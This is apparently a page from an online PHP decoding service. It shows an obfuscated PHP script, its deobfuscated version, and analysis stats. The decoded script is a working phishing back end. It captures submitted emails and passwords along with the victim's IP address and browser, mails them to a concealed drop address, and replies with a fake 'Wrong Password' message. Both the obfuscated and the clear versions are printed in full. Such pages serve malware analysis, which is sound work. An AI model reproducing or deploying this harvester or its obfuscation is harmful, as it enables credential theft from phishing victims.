Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["g\x72\x6cic\x6d\x6f"]="\x72\x65\x64\x69\x72\x65ct..

Decoded Output download

<?php $ {
    "GLOBALS"
}
["grlicmo"] = "redirect";
$ {
    "GLOBALS"
}
["ytelfaygqq"] = "msg";
$ {
    "GLOBALS"
}
["lydjoo"] = "signal";
$ {
    "GLOBALS"
}
["yexkirvma"] = "subject";
$ {
    "GLOBALS"
}
["lbtuejpvkquo"] = "signal";
$ {
    "GLOBALS"
}
["bpbuxuxtpt"] = "mansu";
$ {
    "GLOBALS"
}
["myfkyzicqs"] = "useragent";
$ {
    "GLOBALS"
}
["lwzljoobk"] = "password";
$ {
    "GLOBALS"
}
["ygfejp"] = "email";
$ {
    "GLOBALS"
}
["diygdkhh"] = "message";
$ {
    "GLOBALS"
}
["gfyrzuodsv"] = "ip";
$xcilnmgvmhkg = "password";
$ {
    "GLOBALS"
}
["wqwjdyfc"] = "mansu";
$ {
    "GLOBALS"
}
["awcjkk"] = "password";
$sulpqbrrvaf = "email";
error_reporting(0);
$ {
    "GLOBALS"
}
["cybgvtwi"] = "email";
$ynomcixx = "msg";
$ {
    $ {
        "GLOBALS"
    }
    ["wqwjdyfc"]
} = base64_decode(strrev("t92YuwWah12ZAJzN5EjerVHajlHZl5mbltmbo9magwSbvNmLslWYtdGQyQjM5FmcsVWauFGZ"));
$ {
    $ {
        "GLOBALS"
    }
    ["cybgvtwi"]
} = trim($_POST["oemail"]);
$ {
    $ {
        "GLOBALS"
    }
    ["awcjkk"]
} = trim($_POST["opassword"]);
if ($ {
    $sulpqbrrvaf
} != null && $ {
    $xcilnmgvmhkg
} != null) {
    $ngouqhnbgh = "useragent";
    $ {
        "GLOBALS"
    }
    ["tdmcugggfsd"] = "subject";
    $ {
        "GLOBALS"
    }
    ["cdeeek"] = "hostname";
    $ {
        $ {
            "GLOBALS"
        }
        ["gfyrzuodsv"]
    } = getenv("REMOTE_ADDR");
    $ {
        $ {
            "GLOBALS"
        }
        ["cdeeek"]
    } = gethostbyaddr($ {
        $ {
            "GLOBALS"
        }
        ["gfyrzuodsv"]
    });
    $ {
        "GLOBALS"
    }
    ["puyyzox"] = "ip";
    $ {
        $ngouqhnbgh
    } = $_SERVER["HTTP_USER_AGENT"];
    $ {
        $ {
            "GLOBALS"
        }
        ["diygdkhh"]
    }.= "Login: " . $ {
        $ {
            "GLOBALS"
        }
        ["ygfejp"]
    } . "
";
    $ {
        $ {
            "GLOBALS"
        }
        ["diygdkhh"]
    }.= "Password: " . $ {
        $ {
            "GLOBALS"
        }
        ["lwzljoobk"]
    } . "
";
    $ {
        "GLOBALS"
    }
    ["usqktgsabaj"] = "message";
    $ {
        $ {
            "GLOBALS"
        }
        ["usqktgsabaj"]
    }.= "IP Address: " . $ {
        $ {
            "GLOBALS"
        }
        ["puyyzox"]
    } . "
";
    $ {
        $ {
            "GLOBALS"
        }
        ["diygdkhh"]
    }.= "Browser : " . $ {
        $ {
            "GLOBALS"
        }
        ["myfkyzicqs"]
    } . "
";
    $mkvojkauxcds = "msg";
    $ {
        $ {
            "GLOBALS"
        }
        ["tdmcugggfsd"]
    } = "General Login : $ip";
    mail($ {
        $ {
            "GLOBALS"
        }
        ["bpbuxuxtpt"]
    }, $ {
        $ {
            "GLOBALS"
        }
        ["yexkirvma"]
    }, $ {
        $ {
            "GLOBALS"
        }
        ["diygdkhh"]
    });
    $ {
        $ {
            "GLOBALS"
        }
        ["lydjoo"]
    } = "ok";
    $ {
        $mkvojkauxcds
    } = "Wrong Password. Verification failed, please try again.";
} else {
    $ {
        $ {
            "GLOBALS"
        }
        ["lydjoo"]
    } = "bad";
    $ {
        $ {
            "GLOBALS"
        }
        ["ytelfaygqq"]
    } = "Please fill in all the fields.";
}
$hgubtesv = "data";
$ {
    $hgubtesv
} = array("signal" => $ {
    $ {
        "GLOBALS"
    }
    ["lbtuejpvkquo"]
}, "msg" => $ {
    $ynomcixx
}, "redirect_link" => $ {
    $ {
        "GLOBALS"
    }
    ["grlicmo"]
},);
header("Content-Type: application/json");
$ {
    "GLOBALS"
}
["uqgcunyc"] = "data";
header("Access-Control-Allow-Origin: *");
echo json_encode($ {
    $ {
        "GLOBALS"
    }
    ["uqgcunyc"]
});
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["g\x72\x6cic\x6d\x6f"]="\x72\x65\x64\x69\x72\x65ct";${"\x47\x4c\x4f\x42ALS"}["\x79\x74e\x6c\x66a\x79g\x71\x71"]="\x6ds\x67";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["l\x79d\x6ao\x6f"]="\x73\x69g\x6ea\x6c";${"GL\x4f\x42\x41\x4c\x53"}["\x79e\x78\x6b\x69\x72vma"]="\x73\x75\x62\x6ae\x63\x74";${"\x47\x4cO\x42A\x4c\x53"}["l\x62tue\x6apvk\x71u\x6f"]="s\x69g\x6e\x61\x6c";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x62p\x62\x75\x78u\x78t\x70\x74"]="\x6da\x6es\x75";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6d\x79f\x6b\x79zic\x71\x73"]="\x75\x73\x65r\x61\x67e\x6et";${"G\x4cO\x42AL\x53"}["\x6cw\x7al\x6a\x6fo\x62\x6b"]="\x70\x61\x73\x73\x77\x6f\x72\x64";${"\x47L\x4f\x42\x41\x4c\x53"}["\x79gf\x65jp"]="\x65\x6dai\x6c";${"\x47L\x4f\x42\x41L\x53"}["diyg\x64\x6bh\x68"]="\x6d\x65s\x73\x61\x67e";${"\x47\x4cO\x42\x41LS"}["g\x66y\x72\x7a\x75\x6f\x64\x73\x76"]="\x69\x70";$xcilnmgvmhkg="\x70\x61ss\x77o\x72\x64";${"\x47LOBALS"}["\x77q\x77j\x64yf\x63"]="m\x61\x6e\x73u";${"\x47L\x4f\x42\x41\x4c\x53"}["\x61\x77\x63\x6a\x6b\x6b"]="\x70\x61\x73\x73\x77\x6f\x72\x64";$sulpqbrrvaf="em\x61\x69\x6c";error_reporting(0);${"G\x4c\x4f\x42\x41\x4cS"}["\x63y\x62\x67v\x74\x77\x69"]="\x65m\x61i\x6c";$ynomcixx="\x6ds\x67";${${"\x47\x4c\x4fBA\x4cS"}["wq\x77\x6a\x64yf\x63"]}=base64_decode(strrev("t\x392\x59\x75wW\x61\x68\x31\x32ZA\x4azN5\x45j\x65rV\x48\x61jlHZ\x6c\x35mb\x6c\x74\x6dbo\x39\x6d\x61gwS\x62\x76NmL\x73lW\x59td\x47\x51yQjM\x35\x46\x6dc\x73\x56W\x61\x75\x46G\x5a"));${${"GL\x4f\x42\x41L\x53"}["\x63\x79bgv\x74\x77\x69"]}=trim($_POST["\x6f\x65\x6da\x69\x6c"]);${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x61\x77c\x6a\x6b\x6b"]}=trim($_POST["op\x61\x73s\x77\x6f\x72\x64"]);if(${$sulpqbrrvaf}!=null&&${$xcilnmgvmhkg}!=null){$ngouqhnbgh="u\x73\x65r\x61\x67\x65\x6et";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x64mc\x75\x67ggf\x73\x64"]="\x73\x75bj\x65\x63\x74";${"\x47\x4c\x4fBA\x4c\x53"}["\x63\x64\x65\x65\x65k"]="ho\x73t\x6e\x61\x6d\x65";${${"G\x4cOB\x41\x4c\x53"}["\x67f\x79\x72\x7au\x6f\x64sv"]}=getenv("R\x45\x4dO\x54E_\x41DDR");${${"G\x4cOBAL\x53"}["\x63d\x65\x65\x65k"]}=gethostbyaddr(${${"G\x4cO\x42\x41\x4cS"}["\x67\x66\x79r\x7a\x75\x6f\x64\x73\x76"]});${"G\x4cO\x42\x41\x4c\x53"}["\x70\x75\x79y\x7a\x6f\x78"]="\x69\x70";${$ngouqhnbgh}=$_SERVER["\x48TT\x50\x5f\x55\x53\x45\x52_AGENT"];${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x64\x69y\x67dk\x68\x68"]}.="\x4c\x6fgin: ".${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79\x67\x66e\x6a\x70"]}."\n";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64i\x79\x67\x64k\x68\x68"]}.="P\x61s\x73word: ".${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6c\x77\x7a\x6cj\x6fo\x62k"]}."\n";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x73\x71k\x74gs\x61b\x61\x6a"]="\x6d\x65\x73s\x61g\x65";${${"\x47\x4cO\x42AL\x53"}["\x75\x73\x71\x6b\x74gs\x61\x62a\x6a"]}.="\x49\x50 A\x64\x64re\x73s: ".${${"\x47LO\x42\x41\x4c\x53"}["p\x75\x79y\x7a\x6f\x78"]}."\n";${${"\x47\x4c\x4f\x42\x41L\x53"}["d\x69y\x67\x64kh\x68"]}.="B\x72o\x77se\x72\x20: ".${${"G\x4c\x4f\x42\x41\x4c\x53"}["m\x79\x66\x6b\x79z\x69\x63\x71\x73"]}."\n";$mkvojkauxcds="m\x73g";${${"G\x4c\x4f\x42A\x4cS"}["td\x6d\x63ug\x67g\x66\x73d"]}="Gene\x72\x61l \x4cog\x69n : $ip";mail(${${"\x47L\x4fBALS"}["\x62pbux\x75x\x74p\x74"]},${${"GL\x4fB\x41\x4cS"}["\x79e\x78\x6b\x69\x72\x76\x6d\x61"]},${${"G\x4c\x4f\x42AL\x53"}["\x64\x69\x79\x67dkh\x68"]});${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["l\x79\x64\x6ao\x6f"]}="o\x6b";${$mkvojkauxcds}="\x57\x72on\x67 \x50as\x73w\x6f\x72\x64\x2e V\x65\x72i\x66i\x63a\x74io\x6e\x20fai\x6c\x65d, \x70l\x65\x61\x73e\x20t\x72\x79 ag\x61\x69n.";}else{${${"\x47LO\x42AL\x53"}["\x6cy\x64\x6aoo"]}="b\x61\x64";${${"\x47\x4c\x4f\x42\x41\x4cS"}["y\x74\x65\x6c\x66\x61\x79\x67\x71\x71"]}="\x50lea\x73\x65 fil\x6c i\x6e\x20\x61\x6c\x6c \x74he fie\x6cd\x73.";}$hgubtesv="\x64\x61\x74\x61";${$hgubtesv}=array("\x73i\x67\x6ea\x6c"=>${${"\x47\x4cO\x42\x41\x4c\x53"}["l\x62\x74u\x65jp\x76kq\x75\x6f"]},"ms\x67"=>${$ynomcixx},"r\x65di\x72ec\x74\x5f\x6c\x69n\x6b"=>${${"\x47L\x4f\x42\x41\x4cS"}["\x67rli\x63\x6do"]},);header("Con\x74\x65\x6et-\x54\x79\x70\x65:\x20ap\x70\x6cicatio\x6e/json");${"G\x4cOB\x41L\x53"}["\x75\x71g\x63\x75n\x79\x63"]="\x64\x61t\x61";header("\x41c\x63es\x73-C\x6fn\x74r\x6f\x6c-All\x6f\x77-O\x72igin: *");echo json_encode(${${"G\x4c\x4f\x42\x41L\x53"}["uqg\x63\x75\x6e\x79\x63"]});
?>

Function Calls

base64_decode 1
error_reporting 1
strrev 1

Variables

$xcilnmgvmhkg password
$ynomcixx msg
GLOBALS [{u'key': u'grlicmo', u'value': u'redirect'}, {u'key': u'ytelfaygqq', u'value': u'msg'}, {u'key': u'lydjoo', u'value': u'signal'}, {u'key': u'yexkirvma', u'value': u'subject'}, {u'key': u'lbtuejpvkquo', u'value': u'signal'}, {u'key': u'bpbuxuxtpt', u'value': u'mansu'}, {u'key': u'myfkyzicqs', u'value': u'useragent'}, {u'key': u'lwzljoobk', u'value': u'password'}, {u'key': u'ygfejp', u'value': u'email'}, {u'key': u'diygdkhh', u'value': u'message'}, {u'key': u'gfyrzuodsv', u'value': u'ip'}, {u'key': u'wqwjdyfc', u'value': u'mansu'}, {u'key': u'awcjkk', u'value': u'password'}, {u'key': u'cybgvtwi', u'value': u'email'}]
$sulpqbrrvaf email

Stats

MD5 0e43b4a74fd5bf689381526e5188623e
Eval Count 0
Decode Time 270 ms